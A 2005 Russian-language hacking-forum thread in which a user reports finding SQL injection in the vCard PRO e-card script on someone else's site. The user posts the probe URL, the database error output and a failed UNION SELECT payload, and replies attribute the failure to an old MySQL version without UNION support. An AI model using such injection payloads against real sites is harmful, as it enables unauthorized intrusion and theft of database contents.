помогите с sql инъекцией - 2

Discussion in 'Песочница' started by z0pa, 8 Jul 2005.

  1. z0pa

    z0pa New Member

    Joined:
    6 Jul 2005
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    нарыл на сайте одном, такое, в урле пишешь так:
    e-cards/gbrowse.php?cat_id=3'
    выдает такое:
    ----------------
    Database error in vCard PRO:
    INVALID SQL: SELECT * FROM vcard_cards WHERE cat_id='3'' AND card_active='1' ORDER BY card_caption
    mysql error: You have an error in your SQL syntax near '1' ORDER BY card_caption ' at line 1
    mysql error number: 1064
    ----------------
    вприницпе уже могу инъектировать, работает если вписывать LIMIT, ORDER BY
    решил проверить на UNION SELECT, вписать по аналогии:
    e-cards/gbrowse.php?cat_id=3' UNION SELECT * FROM vcard_cards/*
    мне кажется должен выдать два запроса, но даёт ошибку:
    ------------------
    INVALID SQL: SELECT * FROM vcard_cards WHERE cat_id='3' UNION SELECT * FROM vcard_cards/*' AND card_active='1' ORDER BY card_caption
    mysql error: You have an error in your SQL syntax near 'UNION SELECT * FROM vcard_cards/*' AND card_active='1' ORDER BY card_caption ' at line 1
    mysql error number: 1064
    -----------------
    пробовал делать объединенный запрос делать из другой таблицы, с перебором кол-м столбцов после SELECT ошибка всегда аналогичная выходит.

    может там старый MySQl стоит и не потдерживает UNION?
     
  2. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    sql сервер не поддерживает UNION
     
  3. Rebz

    Rebz Super Moderator
    Staff Member

    Joined:
    8 Nov 2004
    Messages:
    4,055
    Likes Received:
    1,532
    Reputations:
    1,128
    а если не поддерживает UNION, значит старая версия MySQL.